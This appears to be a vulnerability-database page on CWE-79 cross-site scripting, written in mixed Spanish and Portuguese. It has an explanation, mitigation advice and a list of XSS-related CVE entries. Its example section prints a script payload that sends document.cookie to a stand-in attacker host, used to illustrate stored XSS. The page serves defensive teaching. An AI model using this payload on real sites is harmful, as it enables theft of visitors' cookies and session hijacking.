Fallos del tipo CWE-79

30.224 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-12816MEDIUMNOTICE BOARD BY TOWKIR <= 3.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-24676HIGHWordPress Custom WP Store Locator plugin <= 1.4.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-38723MEDIUMMaximo Asset Management cross-site scriptingEPSS 0.3%CVE-2024-22295MEDIUMWordPress Robo Gallery Plugin <= 3.2.17 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-3866MEDIUMAdd Google +1 (Plus one) social share Button <= 1.0.0 - Cross-Site Request Forgery to Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-23671HIGHWordPress WP OpenSearch plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-54919MEDIUMA Stored Cross Site Scripting (XSS ) was found in /teacher_avatar.php of kashipara E-learning Management System v1.0. This vulnerability allEPSS 0.3%CVE-2024-6935MEDIUMformtools.org Form Tools User Settings Page cross site scriptingEPSS 0.3%CVE-2025-23596HIGHWordPress Notifikácie.sk plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24646HIGHWordPress XML for Avito Plugin <= 2.5.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24656HIGHWordPress Realtyna Provisioning Plugin <= 1.2.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-11582HIGHSubscribe2 – Form, Email Subscribers & Newsletters <= 10.43 - Unauthenticated Stored Cross-Site Scripting via IP ParameterEPSS 0.3%CVE-2025-23591HIGHWordPress blu Logistics plugin <= 1.0.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-78557HIGHA vulnerability has been identified in Industrial Edge App Publisher (All versions < V1.27.9). The application fails to properly sanitize orEPSS 0.3%CVE-2026-3070MEDIUMSourceCodester Modern Image Gallery App upload.php cross site scriptingEPSS 0.3%CVE-2025-24684HIGHWordPress Media Downloader Plugin <= 0.4.7.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-0578MEDIUMFacile Sistemas Cloud Apps Password Reset forgotpassword cross site scriptingEPSS 0.3%CVE-2026-3412MEDIUMitsourcecode University Management System att_single_view.php cross site scriptingEPSS 0.3%CVE-2024-1743MEDIUMWooCommerce Customers Manager < 29.8 - Reflected XSSEPSS 0.3%CVE-2025-23590HIGHWordPress Dezdy plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%